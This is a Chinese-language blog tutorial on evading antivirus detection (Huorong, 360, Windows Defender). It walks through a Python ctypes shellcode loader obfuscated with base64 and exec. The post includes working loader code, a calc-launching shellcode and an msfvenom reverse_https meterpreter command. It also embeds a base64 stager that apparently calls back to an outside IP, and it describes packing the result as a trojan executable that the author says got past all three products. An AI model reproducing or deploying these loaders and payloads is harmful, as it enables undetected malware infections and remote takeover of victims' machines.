Python免杀火绒、360和Defender

简介

之前学习免杀都是使用Metasploit自带的编码进行,从未成功过。也使用过GitHub上别人提供的免杀方法,最近学习并实践发现绕过国内的杀毒软件貌似并不难,本文使用手工分析特征码,使用base64编码绕过杀毒软件静态分析。虽然使用的方法比较简单,但对实际做免杀及免杀研究还是有一定意义的。

环境

  • Windows 10 x64
  • Python 3.8.3
  • Pyinstaller
  • 火绒版本:5.0.53.1,病毒库:2020-10-09
  • 360安全卫士:12.0.0.2003,备用木马库:2020-10-10
  • 360杀毒:5.0.0.8170

原理

杀毒软件的原理一般是匹配特征码,行为监测,虚拟机(沙箱),内存查杀等。360和火绒主要使用特征码检测查杀病毒(云查杀也是特征码检测),本文仅对360、火绒和Defender进行特征码检测绕过,因为Metasploit和CobaltStrike生成的shellcode中包含内存大小检测、网卡地址检测、编码、时区感知和获取系统信息等功能,但有时功能太多反而容易被检测,如图:

20201010134102485

因此,本文通过使用base64编码混淆代码来绕过特征检测。

加载ShellCode

在C/C++语言中,通过申请内存将shellcode加载到内存中进行执行,在Python语言中通过ctypes模块将shellcode加载到内存并执行:


import ctypes
 
shellcode = b''
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存,0x3000代表MEM_COMMIT | MEM_RESERVE,0x40代表可读可写可执行属性
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(  
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),ctypes.c_int(0x40)
)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_int(wiseZERld),
    shellcode,
    ctypes.c_int(len(shellcode))
)
#创建线程并执行shellcode
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread( 
    ctypes.c_int(0),#指向安全属性的指针
    ctypes.c_int(0),#初始堆栈大小
    ctypes.c_int(wiseZERld),#指向起始地址的指针
    ctypes.c_int(0),#指向任何参数的指针
    ctypes.c_int(0),#创建标志
    ctypes.pointer(ctypes.c_int(0)))#指向接收线程标识符的值的指针
ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(CVXWRcjqxL),
    ctypes.c_int(-1)
)

定位特征码

但上面的代码早已被提取特征码,杀毒软件会检测到,如图:

20201010134835600

20201010134924534

由于代码较少,可通过手工逐行删除文件定位特征码,也可以直接处理所有代码。格式化代码:

import ctypes
shellcode = b''
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld),shellcode,ctypes.c_int(len(shellcode)))
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CVXWRcjqxL),ctypes.c_int(-1))

删除第三行或第四行后发现不再报毒,所以仅将这两句进行混淆就可以。

Base64编码绕过

这里选择混淆所有代码,使用base64将申请内存、载入shellcode和执行shellcode的函数进行编码,然后使用exec函数执行代码:

import ctypes
import base64
 
#弹出计算器的shellcode
shellcode = b"\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
shellcode += b"\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
shellcode += b"\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
shellcode += b"\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
shellcode += b"\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
shellcode += b"\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
shellcode += b"\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
shellcode += b"\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
shellcode += b"\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
shellcode += b"\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
shellcode += b"\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
shellcode += b"\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
shellcode += b"\x52\xff\xd0"
 
#将base64编码的代码进行解码
func=base64.b64decode(b'Cndpc2VaRVJsZCA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludCh3aXNlWkVSbGQpLHNoZWxsY29kZSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQpDVlhXUmNqcXhMID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQod2lzZVpFUmxkKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoQ1ZYV1JjanF4TCksY3R5cGVzLmNfaW50KC0xKSkK')
 
#执行解码后的代码
exec(func)

使用msfvenom -p windows/meterpreter/reverse_https lhost=x.x.x.x lport=xxxx -b '\x00\x0a\x0d' -f python,生成shellcode,替换程序中的shellcode,然后使用pyinstaller -F -w -i a3.ico horse.py打包为horse.exe。使用VirusTotal的检测,有11个引擎报毒,如图:

20201010153630208

使用微步云沙箱检测,有1个报毒,但总体评估结果为安全,如图:

20201010153745772

使用360安全卫士扫描结果,如图:

20201010154115479

360杀毒扫描结果,如图:

20201010154245539

Defender扫描结果,如图:

20201010155255651

运行时Defender检测到威胁,如图:

20201010155351727

20201010175318344

服务端建立连接,但被Defender拦截,如图:

2020101016001163

使用CobaltStrike生成的payload测试,360、火绒和Defender都检测不到,但使用VirusTotal检测有22个报毒,如图:

20201010163552269

使用微步云沙箱检测结果为可疑,如图:

20201010163658246

运行时Defender检测不到,成功获得连接,如图:

20201010163901381

此时已成功免杀360、火绒和Defender。但VirtusTotal检测率还是有点高,使用base64编码shellcode减少特征码:

import ctypes
import base64
 
shellcode = b'/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAywIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpezH/6ZEBAADpyQEAAOhvL3RvQTgASxAMkZ+p7ep37I5nZavvutF74mh+EO6iWE1whnPY00prahcR88l6BRlQ2tZ2qYMonaSnUv2sS3XsZwgHjmoy9lJ2rFBHafwqBwBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMCkNCgCx3pAWxJuOeBTHzyZoplYk5qGRd07sBDs1gKBLLqc31JKXE2Bg+u7zdbPzmb2d0o1ANOKDkOM7e/VFoExzSG4OT6aTL94KFI++kBzdhpngI2PRdk0NHxRk+3eCRZJMbt2wFm7ybK5GeHIil8J4FzH9EVDzDz35cuubp4MqOYiIgnQg3c4igbKiGXMYn1nOqhhfkn2VcWgXnyzjk2Ym0RaUP/dsb6bFfsIqN/JwQxTJ8BTOVX6JODn+XHWRnIWCIjrwyN0bhL9kbO46YIe7ZqOhDxQm4vwAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zEwMS4xMzIuMTkzLjM3ABI0Vng='
 
shellcode=base64.b64decode(shellcode)
 
func=base64.b64decode(b'Cndpc2VaRVJsZCA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludCh3aXNlWkVSbGQpLHNoZWxsY29kZSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQpDVlhXUmNqcXhMID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQod2lzZVpFUmxkKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoQ1ZYV1JjanF4TCksY3R5cGVzLmNfaW50KC0xKSkK')
 
exec(func)

再次进行检测,如图:

20201010171114740

还可以通过自定义的加密函数进行加密特征码从而绕过静态分析的杀毒软件,但混淆代码的免杀能力毕竟有限,新的特征码被提取只是时间问题。

某些Python3无法运行该代码,会报如下错误,如图:

20201011235422927

但是换成Python2却可以执行,调试发现python2调用VirtualAlloc函数申请内存返回的结果数据是不超过8位的整数,而python3返回的结果是超过8位不超过16位的,通过搜索发现设置VirtualAlloc函数的返回类型和内存起始地址为c_int64或c_uint64类型即可:


# -*- coding: UTF-8 -*-
import ctypes
import base64
 
shellcode =  b""
 
 
#设置函数VirtualAlloc的返回类型为c_int64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64
 
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
 
#将shellcode移动到申请的内存,起始地址为c_int64类型
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(wiseZERld),shellcode,ctypes.c_int(len(shellcode)))
 
#创建线程并执行
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int64(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CVXWRcjqxL),ctypes.c_int(-1))

参考

https://blog.csdn.net/qq_32261191/article/details/108994177

最后修改:2020 年 12 月 12 日 12 : 27 PM